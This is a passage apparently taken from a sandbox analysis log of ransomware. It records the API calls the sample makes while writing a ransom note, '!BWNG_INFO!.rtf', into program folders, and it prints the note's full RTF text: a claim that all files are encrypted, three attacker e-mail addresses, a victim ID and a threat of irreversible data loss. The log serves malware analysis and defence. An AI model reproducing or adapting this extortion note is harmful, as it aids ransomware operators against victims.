dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.059] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.060] CloseHandle (hObject=0x1b4) returned 1 [0034.060] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\!bwng_info!.rtf")) returned 0xffffffff [0034.060] GetLastError () returned 0x2 [0034.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 